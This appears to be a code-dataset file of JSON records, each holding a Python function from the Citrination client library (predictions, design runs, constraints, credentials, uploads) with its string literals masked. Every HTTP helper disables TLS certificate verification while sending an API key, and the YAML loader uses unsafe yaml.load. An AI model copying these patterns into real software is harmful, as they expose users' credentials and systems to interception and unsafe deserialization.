"docstring": "Assertions for the test_predict and test_predict_distribution methods", "id": "f3462:m1"}
{"signature": "def __init__(self, key, value, loss=None):", "body": "self._key = key<EOL>self._value = value<EOL>self._loss = loss<EOL>", "docstring": "Constructor.\n\n:param key: The descriptor key for the prediction\n:type key: str\n:param value: The predicted value\n:type value: str or float\n:param loss: The loss for the prediction\n:type loss: float", "id": "f3467:c0:m0"}
{"signature": "def __init__(self):", "body": "self._projections = {}<EOL>", "docstring": "Constructor", "id": "f3468:c0:m0"}
{"signature": "def add_projection(self, key, projection):", "body": "self._projections[key] = projection<EOL>", "docstring": "Register a projection under a descriptor key.\n\n:param key: The descriptor key for the projection\n:type key: str\n:param projection: The projection for the provided descriptor key\n:type projection: :class:`Projection`", "id": "f3468:c0:m1"}
{"signature": "def projections(self):", "body": "return self._projections.keys()<EOL>", "docstring": "List the descriptor keys with registered projections.\n\n:return: List of descriptor keys", "id": "f3468:c0:m2"}
{"signature": "def get_projection(self, key):", "body": "return self._projections.get(key)<EOL>", "docstring": "Retrieves the projection registered under a particular\ndescriptor key.\n\n:param key: A descriptor key\n:return: A :class:`Projection`", "id": "f3468:c0:m3"}
{"signature": "def tsne(self, data_view_id):", "body": "analysis = self._data_analysis(data_view_id)<EOL>projections = analysis['<STR_LIT>']<EOL>tsne = Tsne()<EOL>for k, v in projections.items():<EOL><INDENT>projection = Projection(<EOL>xs=v['<STR_LIT:x>'],<EOL>ys=v['<STR_LIT:y>'],<EOL>responses=v['<STR_LIT:label>'],<EOL>tags=v['<STR_LIT>'],<EOL>uids=v['<STR_LIT>']<EOL>)<EOL>tsne.add_projection(k, projection)<EOL><DEDENT>return tsne<EOL>", "docstring": "Get the t-SNE projection, including responses and tags.\n\n:param data_view_id: The ID of the data view to retrieve TSNE from\n:type data_view_id: int\n:return: The TSNE analysis\n:rtype: :class:`Tsne`", "id": "f3469:c0:m1"}
{"signature": "def predict(self, data_view_id, candidates, method=\"<STR_LIT>\", use_prior=True):", "body": "uid = self.submit_predict_request(data_view_id, candidates, method, use_prior)<EOL>while self.check_predict_status(data_view_id, uid)['<STR_LIT:status>'] not in [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]:<EOL><INDENT>time.sleep(<NUM_LIT:1>)<EOL><DEDENT>result = self.check_predict_status(data_view_id, uid)<EOL>if result[\"<STR_LIT:status>\"] == \"<STR_LIT>\":<EOL><INDENT>paired = zip(result[\"<STR_LIT>\"][\"<STR_LIT>\"], result[\"<STR_LIT>\"][\"<STR_LIT>\"])<EOL>prediction_result_format = [{k: (p[<NUM_LIT:0>][k], p[<NUM_LIT:1>][k]) for k in p[<NUM_LIT:0>].keys()} for p in paired]<EOL>return list(map(<EOL>lambda c: _get_prediction_result_from_candidate(c), prediction_result_format<EOL>))<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError(<EOL>\"<STR_LIT>\".format(uid, result[\"<STR_LIT:status>\"])<EOL>)<EOL><DEDENT>", "docstring": "Predict endpoint. This simply wraps the async methods (submit and poll for status/results).\n\n:param data_view_id: The ID of the data view to use for prediction\n:type data_view_id: str\n:param candidates: A list of candidates to make predictions on\n:type candidates: list of dicts\n:param method: Method for propagating predictions through model graphs. \"scalar\" uses linearized uncertainty\npropagation, whereas \"scalar_from_distribution\" still returns scalar predictions but uses sampling to\npropagate uncertainty without a linear approximation.\n:type method: str (\"scalar\" or \"scalar_from_distribution\")\n:param use_prior:  Whether to apply prior values implied by the property descriptors\n:type use_prior: bool\n:return: The results of the prediction\n:rtype: list of :class:`PredictionResult`", "id": "f3469:c0:m2"}
{"signature": "def retrain(self, dataview_id):", "body": "url = '<STR_LIT>'.format(dataview_id)<EOL>response = self._post_json(url, data={})<EOL>if response.status_code != requests.codes.ok:<EOL><INDENT>raise RuntimeError('<STR_LIT>' + str(response.status_code) + '<STR_LIT>' + str(response.message))<EOL><DEDENT>return True<EOL>", "docstring": "Start a model retraining\n:param dataview_id: The ID of the views\n:return:", "id": "f3469:c0:m3"}
{"signature": "def _data_analysis(self, data_view_id):", "body": "failure_message = \"<STR_LIT>\".format(data_view_id)<EOL>return self._get_success_json(self._get(routes.data_analysis(data_view_id), failure_message=failure_message))<EOL>", "docstring": "Data analysis endpoint.\n\n:param data_view_id: The model identifier (id number for data views)\n:type data_view_id: str\n:return: dictionary containing information about the data, e.g. dCorr and tsne", "id": "f3469:c0:m6"}
{"signature": "def submit_predict_request(self, data_view_id, candidates, prediction_source='<STR_LIT>', use_prior=True):", "body": "data = {<EOL>\"<STR_LIT>\":<EOL>prediction_source,<EOL>\"<STR_LIT>\":<EOL>use_prior,<EOL>\"<STR_LIT>\":<EOL>candidates<EOL>}<EOL>failure_message = \"<STR_LIT>\"<EOL>post_url = '<STR_LIT>' + str(data_view_id) + '<STR_LIT>'<EOL>return self._get_success_json(<EOL>self._post_json(post_url, data, failure_message=failure_message)<EOL>)['<STR_LIT:data>']['<STR_LIT>']<EOL>", "docstring": "Submits an async prediction request.\n\n:param data_view_id: The id returned from create\n:param candidates: Array of candidates\n:param prediction_source: 'scalar' or 'scalar_from_distribution'\n:param use_prior: True to use prior prediction, otherwise False\n:return: Predict request Id (used to check status)", "id": "f3469:c0:m8"}
{"signature": "def check_predict_status(self, view_id, predict_request_id):", "body": "failure_message = \"<STR_LIT>\"<EOL>bare_response = self._get_success_json(self._get(<EOL>'<STR_LIT>' + str(view_id) + '<STR_LIT>' + str(predict_request_id) + '<STR_LIT>',<EOL>None, failure_message=failure_message))<EOL>result = bare_response[\"<STR_LIT:data>\"]<EOL>return result<EOL>", "docstring": "Returns a string indicating the status of the prediction job\n\n:param view_id: The data view id returned from data view create\n:param predict_request_id: The id returned from predict\n:return: Status data, also includes results if state is finished", "id": "f3469:c0:m9"}
{"signature": "def submit_design_run(self, data_view_id, num_candidates, effort, target=None, constraints=[], sampler=\"<STR_LIT>\"):", "body": "if effort > <NUM_LIT:30>:<EOL><INDENT>raise CitrinationClientError(\"<STR_LIT>\")<EOL><DEDENT>if target is not None:<EOL><INDENT>target = target.to_dict()<EOL><DEDENT>constraint_dicts = [c.to_dict() for c in constraints]<EOL>body = {<EOL>\"<STR_LIT>\": num_candidates,<EOL>\"<STR_LIT:target>\": target,<EOL>\"<STR_LIT>\": effort,<EOL>\"<STR_LIT>\": constraint_dicts,<EOL>\"<STR_LIT>\": sampler<EOL>}<EOL>url = routes.submit_data_view_design(data_view_id)<EOL>response = self._post_json(url, body).json()<EOL>return DesignRun(response[\"<STR_LIT:data>\"][\"<STR_LIT>\"][\"<STR_LIT>\"])<EOL>", "docstring": "Submits a new experimental design run.\n\n:param data_view_id: The ID number of the data view to which the\n    run belongs, as a string\n:type data_view_id: str\n:param num_candidates: The number of candidates to return\n:type num_candidates: int\n:param target: An :class:``Target`` instance representing\n    the design run optimization target\n:type target: :class:``Target``\n:param constraints: An array of design constraints (instances of\n    objects which extend :class:``BaseConstraint``)\n:type constraints: list of :class:``BaseConstraint``\n:param sampler: The name of the sampler to use during the design run:\n    either \"Default\" or \"This view\"\n:type sampler: str\n:return: A :class:`DesignRun` instance containing the UID of the\n    new run", "id": "f3469:c0:m10"}
{"signature": "def get_design_run_status(self, data_view_id, run_uuid):", "body": "url = routes.get_data_view_design_status(data_view_id, run_uuid)<EOL>response = self._get(url).json()<EOL>status = response[\"<STR_LIT:data>\"]<EOL>return ProcessStatus(<EOL>result=status.get(\"<STR_LIT:result>\"),<EOL>progress=status.get(\"<STR_LIT>\"),<EOL>status=status.get(\"<STR_LIT:status>\"),<EOL>messages=status.get(\"<STR_LIT>\")<EOL>)<EOL>", "docstring": "Retrieves the status of an in progress or completed design run\n\n:param data_view_id: The ID number of the data view to which the\n    run belongs, as a string\n:type data_view_id: str\n:param run_uuid: The UUID of the design run to retrieve status for\n:type run_uuid: str\n:return: A :class:`ProcessStatus` object", "id": "f3469:c0:m11"}
{"signature": "def get_design_run_results(self, data_view_id, run_uuid):", "body": "url = routes.get_data_view_design_results(data_view_id, run_uuid)<EOL>response = self._get(url).json()<EOL>result = response[\"<STR_LIT:data>\"]<EOL>return DesignResults(<EOL>best_materials=result.get(\"<STR_LIT>\"),<EOL>next_experiments=result.get(\"<STR_LIT>\")<EOL>)<EOL>", "docstring": "Retrieves the results of an existing designrun\n\n:param data_view_id: The ID number of the data view to which the\n    run belongs, as a string\n:type data_view_id: str\n:param run_uuid: The UUID of the design run to retrieve results from\n:type run_uuid: str\n:return: A :class:`DesignResults` object", "id": "f3469:c0:m12"}
{"signature": "def get_data_view(self, data_view_id):", "body": "url = routes.get_data_view(data_view_id)<EOL>response = self._get(url).json()<EOL>result = response[\"<STR_LIT:data>\"][\"<STR_LIT>\"]<EOL>datasets_list = []<EOL>for dataset in result[\"<STR_LIT>\"]:<EOL><INDENT>datasets_list.append(Dataset(<EOL>name=dataset[\"<STR_LIT:name>\"],<EOL>id=dataset[\"<STR_LIT:id>\"],<EOL>description=dataset[\"<STR_LIT:description>\"]<EOL>))<EOL><DEDENT>columns_list = []<EOL>for column in result[\"<STR_LIT>\"]:<EOL><INDENT>columns_list.append(ColumnFactory.from_dict(column))<EOL><DEDENT>return DataView(<EOL>view_id=data_view_id,<EOL>name=result[\"<STR_LIT:name>\"],<EOL>description=result[\"<STR_LIT:description>\"],<EOL>datasets=datasets_list,<EOL>columns=columns_list,<EOL>)<EOL>", "docstring": "Retrieves a summary of information for a given data view\n    - view id\n    - name\n    - description\n    - columns\n\n:param data_view_id: The ID number of the data view to which the\n    run belongs, as a string\n:type data_view_id: str", "id": "f3469:c0:m13"}
{"signature": "def kill_design_run(self, data_view_id, run_uuid):", "body": "url = routes.kill_data_view_design_run(data_view_id, run_uuid)<EOL>response = self._delete(url).json()<EOL>return response[\"<STR_LIT:data>\"][\"<STR_LIT>\"]<EOL>", "docstring": "Kills an in progress experimental design run\n\n:param data_view_id: The ID number of the data view to which the\n    run belongs, as a string\n:type data_view_id: str\n:param run_uuid: The UUID of the design run to kill\n:type run_uuid: str\n:return: The UUID of the design run", "id": "f3469:c0:m14"}
{"signature": "def get_data_view_service_status(self, data_view_id):", "body": "url = routes.get_data_view_status(data_view_id)<EOL>response = self._get(url).json()<EOL>result = response[\"<STR_LIT:data>\"][\"<STR_LIT:status>\"]<EOL>return DataViewStatus(<EOL>predict=ServiceStatus.from_response_dict(result[\"<STR_LIT>\"]),<EOL>experimental_design=ServiceStatus.from_response_dict(result[\"<STR_LIT>\"]),<EOL>data_reports=ServiceStatus.from_response_dict(result[\"<STR_LIT>\"]),<EOL>model_reports=ServiceStatus.from_response_dict(result[\"<STR_LIT>\"])<EOL>)<EOL>", "docstring": "Retrieves the status for all of the services associated with a data view:\n    - predict\n    - experimental_design\n    - data_reports\n    - model_reports\n\n:param data_view_id: The ID number of the data view to which the\n    run belongs, as a string\n:type data_view_id: str\n:return: A :class:`DataViewStatus`\n:rtype: DataViewStatus", "id": "f3469:c0:m15"}
{"signature": "def __init__(self, predict=None, experimental_design=None, data_reports=None, model_reports=None):", "body": "self._predict             = predict<EOL>self._experimental_design = experimental_design<EOL>self._data_reports        = data_reports<EOL>self._model_reports       = model_reports<EOL>", "docstring": "Constructor.\n\n:param predict: The status predict\n:type predict: ServiceStatus\n:param experimental_design: The status of experimental_design\n:type experimental_design: ServiceStatus\n:param data_reports: The status of data_analysis\n:type data_reports: ServiceStatus\n:param model_reports: The status of model reports\n:type model_reports: ServiceStatus", "id": "f3470:c0:m0"}
{"signature": "def __init__(self, view_id, name, description, datasets=[], column_names=[], columns=[]):", "body": "self._id = view_id<EOL>self._name = name<EOL>self._description = description<EOL>self._datasets = datasets<EOL>self._column_names = column_names<EOL>self._columns = columns<EOL>", "docstring": "Constructor.\n\n:param view_id: The ID of the data view\n:type view_id: str\n:param name: The name of the data view\n:type name: str\n:param description: The description of the data view\n:type description: str\n:param datasets: The datasets used in the view\n:type datasets: list of :class: Dataset\n:param column_names: The column names in the view\n:type column_names: list of str", "id": "f3471:c0:m0"}
{"signature": "def __init__(self, ready, context, reason, event):", "body": "self._ready   = ready<EOL>self._context = context<EOL>self._event   = event<EOL>self._reason  = reason<EOL>", "docstring": "Constructor.\n\n:param ready: Boolean indicating whether or not the service can be used\n:type ready: bool\n:param context: A contextual description of the current status: \"notice\",\n    \"success\", \"error\"\n:type context: str\n:param reason: A full sentence explanation of the service's status\n:type reason: str\n:param event: An event object describing the current state of the service's\n    progress toward readiness\n:type event: Event", "id": "f3473:c0:m1"}
{"signature": "def is_ready(self):", "body": "return self.ready == True<EOL>", "docstring": "Indicates whether or not the service is ready to be used.\n\n:return: A boolean\n:rtype: bool", "id": "f3473:c0:m14"}
{"signature": "def __init__(self, xs, ys, responses, tags, uids):", "body": "self._xs = xs<EOL>self._ys = ys<EOL>self._responses = responses<EOL>self._tags = tags<EOL>self._uids = uids<EOL>", "docstring": "Constructor.\n\n:param xs: A list of x values of the projection.\n:type xs: list of floats\n:param ys: A list of y values of the projection.\n:type ys: list of floats\n:param responses: A list of z values of the projection.\n:type responses: list of floats\n:param tags: A list of tags for the projected points\n:type tags: list of strings\n:param uids: A list of record UIDs for the projected points\n:type uids: list of strings", "id": "f3474:c0:m0"}
{"signature": "def get_data_view_status(data_view_id):", "body": "return \"<STR_LIT>\".format(data_view_id)<EOL>", "docstring": "URL for retrieving the statuses of all services\nassociated with a data view.\n\n:param data_view_id: The ID of the desired data views\n:type data_view_id: str", "id": "f3475:m7"}
{"signature": "def __init__(self, title, normalized_progress, subtitle=None, subevent=None):", "body": "self._title = title<EOL>self._subtitle = subtitle<EOL>self._subevent = subevent<EOL>self._normalized_progress = normalized_progress<EOL>", "docstring": "Constructor.\n\n:param title: The title of the event\n:type title: str\n:param subtitle: More detail about the event\n:type subtitle: str\n:param subevent: An event object describing the current state of the service's\n    progress toward readiness\n:type subevent: Event\n:param normalized_progress: The fractional representation of the status of the event\n:type normalized_progress: float", "id": "f3476:c0:m0"}
{"signature": "def add_value(self, key, value):", "body": "self._values[key] = value<EOL>", "docstring": "Registers a predicted value in the result.\n\n:param key: The descriptor key for the predicted value\n:type key: str\n:param value: A :class:`PredictedValue`\n:type value: object\n:return: None\n:rtype: NoneType", "id": "f3477:c0:m1"}
{"signature": "def get_value(self, key):", "body": "try:<EOL><INDENT>return self._values[key]<EOL><DEDENT>except KeyError:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Retrieves a predicted value.\n\n:param key: A descriptor key for a registered predicted value.\n:type key: str\n:return: The value stored at the provided descriptor key. None if no key is provided.\n:rtype: :class:`PredictedValue`", "id": "f3477:c0:m2"}
{"signature": "def all_keys(self):", "body": "return self._values.keys()<EOL>", "docstring": "Retrieves a list of all the values which were predicted.\n\n:return: A list of keys for which predictions have been made and can\n    be retrieved using `get_value`\n:rtype: list of str", "id": "f3477:c0:m3"}
{"signature": "def __init__(self, result, progress, status, messages=None):", "body": "self._status = status<EOL>self._result = result<EOL>self._progress = progress<EOL>self._messages = messages<EOL>", "docstring": "Constructor.\n\n:param result: The result of the process\n:type result: any\n:param progress: The progress of the process as as percentage\n:type progress: int\n:param status: The status string for the process\n:type status: str\n:param messages: A list of messages representing the steps the process\n    has already progressed through\n:type messages: list of str", "id": "f3478:c0:m0"}
{"signature": "def __init__(self, uuid):", "body": "self._uuid = uuid<EOL>", "docstring": "Constructor.\n\n:param uuid: The UUID of an in progress design run.\n:type uuid: str", "id": "f3480:c0:m0"}
{"signature": "def __init__(self, best_materials, next_experiments):", "body": "self._best_materials = best_materials<EOL>self._next_experiments = next_experiments<EOL>", "docstring": "Constructor.\n\n:param best_materials: An array of candidate dictionaries\n:type best_materials: list of dictionaries\n:param next_experiments: An array of candidate dictionaries\n:type next_experiments: list of dictionaries", "id": "f3481:c0:m0"}
{"signature": "def __init__(self, name, objective):", "body": "try:<EOL><INDENT>self._objective = float(objective)<EOL><DEDENT>except ValueError:<EOL><INDENT>if objective.lower() not in [\"<STR_LIT>\", \"<STR_LIT>\"]:<EOL><INDENT>raise CitrinationClientError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>self._objective = objective<EOL><DEDENT>self._name = name<EOL>", "docstring": "Constructor.\n\n:param name: The name of the target output column\n:type name: str\n:param objective: The optimization objective; \"Min\", \"Max\", or a scalar value (such as \"5.0\")\n:type objective: str", "id": "f3482:c0:m0"}
{"signature": "def __init__(self, name, minimum, maximum):", "body": "try:<EOL><INDENT>minimum_f = float(minimum)<EOL>maximum_f = float(maximum)<EOL><DEDENT>except TypeError:<EOL><INDENT>raise CitrinationClientError(\"<STR_LIT>\")<EOL><DEDENT>if minimum_f > maximum_f:<EOL><INDENT>raise CitrinationClientError(\"<STR_LIT>\")<EOL><DEDENT>self._min = minimum_f<EOL>self._max = maximum_f<EOL>self._type = \"<STR_LIT>\"<EOL>self._name = name<EOL>", "docstring": "Constructor.\n\n:param name: The name of the column in the data\n    view to which this constraint should be applied\n:type name: str\n:param minimum: The minimum allowed value\n:type minimum: float\n:param maximum: The maximum allowed value\n:type maximum: float", "id": "f3484:c0:m0"}
{"signature": "def __init__(self, name, accepted_categories):", "body": "self._type = \"<STR_LIT>\"<EOL>self._name = name<EOL>self._categories = accepted_categories<EOL>", "docstring": "Constructor.\n\n:param name: The name of the column in the data\n    view to which this constraint should be applied\n:type name: str\n:param accepted_categories: An array of categories to constrain the name to\n:type accepted_categories: list of str", "id": "f3486:c0:m0"}
{"signature": "def to_dict(self):", "body": "return {<EOL>\"<STR_LIT:name>\": self._name,<EOL>\"<STR_LIT:type>\": self._type,<EOL>\"<STR_LIT>\": self.options()<EOL>}<EOL>", "docstring": "Returns a dictionary representing the constraint.\nAssists in JSON serialization.\n\n:return: A dictionary with the name and type of the constraint\n    along with any type-specific metadata the constraint may\n    require", "id": "f3487:c0:m0"}
{"signature": "def __init__(self, name, elements, logic):", "body": "bad_logic_msg = \"<STR_LIT>\"<EOL>if logic not in [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]:<EOL><INDENT>raise CitrinationClientError(bad_logic_msg)<EOL><DEDENT>self._name = name<EOL>self._type = \"<STR_LIT>\"<EOL>self._elements = elements<EOL>self._logic = logic<EOL>", "docstring": "Constructor.\n\n:param name: The name of the column in the data\n    view to which this constraint should be applied\n:type name: str\n:param elements: An array of element abbreviations as\n    strings, e.g. [\"Mg\", \"C\"]\n:type elements: list of str\n:param logic: The logic to apply to the constraint; either\n    \"must\", \"should\", or \"exclude\"\n:type logic: str", "id": "f3489:c0:m0"}
{"signature": "def __init__(self, name, elements, minimum, maximum):", "body": "if not <NUM_LIT:0> <= minimum <= <NUM_LIT:100>:<EOL><INDENT>raise CitrinationClientError(\"<STR_LIT>\")<EOL><DEDENT>if not <NUM_LIT:0> <= maximum <= <NUM_LIT:100>:<EOL><INDENT>raise CitrinationClientError(\"<STR_LIT>\")<EOL><DEDENT>if not maximum >= minimum:<EOL><INDENT>raise CitrinationClientError(\"<STR_LIT>\")<EOL><DEDENT>self._type = \"<STR_LIT>\"<EOL>self._elements = elements<EOL>self._name = name<EOL>self._min = minimum<EOL>self._max = maximum<EOL>", "docstring": "Constructor.\n\n:param name: The name of the column in the data\n    view to which this constraint should be applied\n:type name: str\n:param elements: An array of element abbreviations as\n    strings, e.g. [\"Mg\", \"C\"]\n:type elements: list of str\n:param minimum: The minimum value (<= 100) as a percentage\n    at which the specified elements should appear in\n    candidate compositions\n:type minimum: float\n:param maximum: The maximum value (<= 100) as a percentage\n    at which the specified elements should appear in\n    candidate compositions\n:type maximum: float", "id": "f3490:c0:m0"}
{"signature": "def __init__(self, name, value=None):", "body": "self._type = \"<STR_LIT>\"        <EOL>self._name = name<EOL>self._value = value<EOL>", "docstring": "Constructor.\n\n:param name: The name of the column in the data\n    view to which this constraint should be applied\n:type name: str\n:param value: The value the column should be constrained to\n:type value: float", "id": "f3491:c0:m0"}
{"signature": "def check_for_rate_limiting(response, response_lambda, timeout=<NUM_LIT:1>, attempts=<NUM_LIT:0>):", "body": "if attempts >= <NUM_LIT:3>:<EOL><INDENT>raise RateLimitingException()<EOL><DEDENT>if response.status_code == <NUM_LIT>:<EOL><INDENT>sleep(timeout)<EOL>new_timeout = timeout + <NUM_LIT:1><EOL>new_attempts = attempts + <NUM_LIT:1><EOL>return check_for_rate_limiting(response_lambda(timeout, attempts), response_lambda, timeout=new_timeout, attempts=new_attempts)<EOL><DEDENT>return response<EOL>", "docstring": "Takes an initial response, and a way to repeat the request that produced it and retries the request with an increasing sleep period between requests if rate limiting resposne codes are encountered.\n\nIf more than 3 attempts are made, a RateLimitingException is raised\n\n:param response: A response from Citrination\n:type response: requests.Response\n:param response_lambda: a callable that runs the request that returned the\n    response\n:type response_lambda: function\n:param timeout: the time to wait before retrying\n:type timeout: int\n:param attempts: the number of the retry being executed\n:type attempts: int", "id": "f3495:m0"}
{"signature": "def __init__(self, api_key, webserver_host, api_members=[], suppress_warnings=False, proxies = None):", "body": "if api_key == None or len(api_key) == <NUM_LIT:0>:<EOL><INDENT>raise CitrinationClientError(\"<STR_LIT>\")<EOL><DEDENT>self.proxies = proxies<EOL>self.headers = {<EOL>'<STR_LIT>': quote(api_key),<EOL>'<STR_LIT:Content-Type>': '<STR_LIT:application/json>',<EOL>'<STR_LIT>': '<STR_LIT>'<EOL>}<EOL>self.suppress_warnings = suppress_warnings<EOL>self.api_url = webserver_host + '<STR_LIT>'<EOL>self.api_members = api_members<EOL>", "docstring": "Constructor.\n\n:param api_key: Authentication token for the Citrination site\n:type api_key: str\n:param host: The base URL of the citrination site, e.g. https://citrination.com\n:type host: str\n:param api_members: The names of the member methods for this client\n:type api_members: str[]\n:param suppress_warnings: A flag indicating whether or not warning\n    messages to stdout should be printed\n:type suppress_warnings: bool\n:param proxies: proxies to use when making HTTP requests. E.g.,\n        proxies = {\n          'http': 'http://10.10.1.10:3128',\n          'https': 'http://10.10.1.10:1080',\n        }\n:type proxies: dict(string, string)", "id": "f3496:c0:m0"}
{"signature": "def _get_qualified_route(self, route):", "body": "return \"<STR_LIT>\".format(self.api_url, route)<EOL>", "docstring": "Get a fully qualified api route.\n:param route: the route (e.g., /model)\n:return: the fully qualified route (e.g., https://citrination.com/model)", "id": "f3496:c0:m3"}
{"signature": "def _get(self, route, headers=None, failure_message=None):", "body": "headers = self._get_headers(headers)<EOL>response_lambda = (<EOL>lambda: requests.get(self._get_qualified_route(route), headers=headers, verify=False, proxies=self.proxies)<EOL>)<EOL>response = check_for_rate_limiting(response_lambda(), response_lambda)<EOL>return self._handle_response(response, failure_message)<EOL>", "docstring": "Execute a post request and return the result\n:param headers:\n:return:", "id": "f3496:c0:m6"}
{"signature": "def _post(self, route, data, headers=None, failure_message=None):", "body": "headers = self._get_headers(headers)<EOL>response_lambda = (<EOL>lambda: requests.post(<EOL>self._get_qualified_route(route), headers=headers, data=data, verify=False, proxies=self.proxies<EOL>)<EOL>)<EOL>response = check_for_rate_limiting(response_lambda(), response_lambda)<EOL>return self._handle_response(response, failure_message)<EOL>", "docstring": "Execute a post request and return the result\n:param data:\n:param headers:\n:return:", "id": "f3496:c0:m8"}
{"signature": "def _put(self, route, data, headers=None, failure_message=None):", "body": "headers = self._get_headers(headers)<EOL>response_lambda = (<EOL>lambda: requests.put(<EOL>self._get_qualified_route(route), headers=headers, data=data, verify=False, proxies=self.proxies<EOL>)<EOL>)<EOL>response = check_for_rate_limiting(response_lambda(), response_lambda)<EOL>return self._handle_response(response, failure_message)<EOL>", "docstring": "Execute a put request and return the result\n:param data:\n:param headers:\n:return:", "id": "f3496:c0:m10"}
{"signature": "def _patch(self, route, data, headers=None, failure_message=None):", "body": "headers = self._get_headers(headers)<EOL>response_lambda = (<EOL>lambda: requests.patch(<EOL>self._get_qualified_route(route), headers=headers, data=data, verify=False, proxies=self.proxies<EOL>)<EOL>)<EOL>response = check_for_rate_limiting(response_lambda(), response_lambda)<EOL>return self._handle_response(response, failure_message)<EOL>", "docstring": "Execute a patch request and return the result", "id": "f3496:c0:m12"}
{"signature": "def _delete(self, route, headers=None, failure_message=None):", "body": "headers = self._get_headers(headers)<EOL>response_lambda = (lambda: requests.delete(<EOL>self._get_qualified_route(route), headers=headers, verify=False, proxies=self.proxies)<EOL>)<EOL>response = check_for_rate_limiting(response_lambda(), response_lambda)<EOL>return self._handle_response(response, failure_message)<EOL>", "docstring": "Execute a delete request and return the result\n:param headers:\n:return:", "id": "f3496:c0:m13"}
{"signature": "def load_file_as_yaml(path):", "body": "with open(path, \"<STR_LIT:r>\") as f:<EOL><INDENT>raw_yaml = f.read()<EOL>parsed_dict = yaml.load(raw_yaml)<EOL><DEDENT>return parsed_dict<EOL>", "docstring": "Given a filepath, loads the file as a dictionary from YAML\n\n:param path: The path to a YAML file", "id": "f3499:m0"}
{"signature": "def get_credentials_from_file(filepath):", "body": "try:<EOL><INDENT>creds = load_file_as_yaml(filepath)<EOL><DEDENT>except Exception:<EOL><INDENT>creds = {}<EOL><DEDENT>profile_name = os.environ.get(citr_env_vars.CITRINATION_PROFILE)<EOL>if profile_name is None or len(profile_name) == <NUM_LIT:0>:<EOL><INDENT>profile_name = DEFAULT_CITRINATION_PROFILE<EOL><DEDENT>api_key = None<EOL>site = None<EOL>try:<EOL><INDENT>profile = creds[profile_name]<EOL>api_key = profile[CREDENTIALS_API_KEY_KEY]<EOL>site = profile[CREDENTIALS_SITE_KEY]<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT>return (api_key, site)<EOL>", "docstring": "Extracts credentials from the yaml formatted credential filepath\npassed in. Uses the default profile if the CITRINATION_PROFILE env var\nis not set, otherwise looks for a profile with that name in the credentials file.\n\n:param filepath: The path of the credentials file", "id": "f3499:m1"}
{"signature": "def get_preferred_credentials(api_key, site, cred_file=DEFAULT_CITRINATION_CREDENTIALS_FILE):", "body": "profile_api_key, profile_site = get_credentials_from_file(cred_file)<EOL>if api_key is None:<EOL><INDENT>api_key =  os.environ.get(citr_env_vars.CITRINATION_API_KEY)<EOL><DEDENT>if api_key is None or len(api_key) == <NUM_LIT:0>:<EOL><INDENT>api_key = profile_api_key<EOL><DEDENT>if site is None:<EOL><INDENT>site = os.environ.get(citr_env_vars.CITRINATION_SITE)<EOL><DEDENT>if site is None or len(site) == <NUM_LIT:0>:<EOL><INDENT>site = profile_site<EOL><DEDENT>if site is None:<EOL><INDENT>site = \"<STR_LIT>\"<EOL><DEDENT>return api_key, site<EOL>", "docstring": "Given an API key, a site url and a credentials file path, runs through a prioritized list of credential sources to find credentials.\n\nSpecifically, this method ranks credential priority as follows:\n    1. Those passed in as the first two parameters to this method\n    2. Those found in the environment as variables\n    3. Those found in the credentials file at the profile specified\n       by the profile environment variable\n    4. Those found in the default stanza in the credentials file\n\n:param api_key: A Citrination API Key or None\n:param site: A Citrination site URL or None\n:param cred_file: The path to a credentials file", "id": "f3499:m2"}
{"signature": "def _get_s3_presigned_url(response_dict):", "body": "url = response_dict['<STR_LIT:url>']<EOL>return url['<STR_LIT>']+'<STR_LIT>'+url['<STR_LIT:host>']+url['<STR_LIT:path>']+'<STR_LIT:?>'+url['<STR_LIT>']<EOL>", "docstring": "Helper method to create an S3 presigned url from the response dictionary.", "id": "f3511:m2"}
{"signature": "def __init__(self, api_key, host=\"<STR_LIT>\", suppress_warnings=False, proxies=None):", "body": "members = [<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\"<EOL>]<EOL>super(DataClient, self).__init__(api_key, host, members, suppress_warnings, proxies)<EOL>", "docstring": "Constructor.\n\n:param api_key: A users API key, as a string\n:type api_key: str\n:param host: The base URL of the citrination site, e.g. https://citrination.com\n:type host: str\n:param suppress_warnings: Whether or not usage warnings should be\n    printed to stdout\n:type suppress_warnings: bool", "id": "f3511:c0:m0"}
{"signature": "def upload(self, dataset_id, source_path, dest_path=None):", "body": "upload_result = UploadResult()<EOL>source_path = str(source_path)<EOL>if not dest_path:<EOL><INDENT>dest_path = source_path<EOL><DEDENT>else:<EOL><INDENT>dest_path = str(dest_path)<EOL><DEDENT>if os.path.isdir(source_path):<EOL><INDENT>for path, subdirs, files in os.walk(source_path):<EOL><INDENT>relative_path = os.path.relpath(path, source_path)<EOL>current_dest_prefix = dest_path<EOL>if relative_path is not \"<STR_LIT:.>\":<EOL><INDENT>current_dest_prefix = os.path.join(current_dest_prefix, relative_path)<EOL><DEDENT>for name in files:<EOL><INDENT>current_dest_path = os.path.join(current_dest_prefix, name)<EOL>current_source_path = os.path.join(path, name)<EOL>try:<EOL><INDENT>if self.upload(dataset_id, current_source_path, current_dest_path).successful():<EOL><INDENT>upload_result.add_success(current_source_path)<EOL><DEDENT>else:<EOL><INDENT>upload_result.add_failure(current_source_path,\"<STR_LIT>\")<EOL><DEDENT><DEDENT>except (CitrinationClientError, ValueError) as e:<EOL><INDENT>upload_result.add_failure(current_source_path, str(e))<EOL><DEDENT><DEDENT><DEDENT>return upload_result<EOL><DEDENT>elif os.path.isfile(source_path):<EOL><INDENT>file_data = { \"<STR_LIT>\": str(dest_path), \"<STR_LIT>\": str(source_path)}<EOL>j = self._get_success_json(self._post_json(routes.upload_to_dataset(dataset_id), data=file_data))<EOL>s3url = _get_s3_presigned_url(j)<EOL>with open(source_path, '<STR_LIT:rb>') as f:<EOL><INDENT>if os.stat(source_path).st_size == <NUM_LIT:0>:<EOL><INDENT>data = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>data = f<EOL><DEDENT>r = requests.put(s3url, data=data, headers=j[\"<STR_LIT>\"])<EOL>if 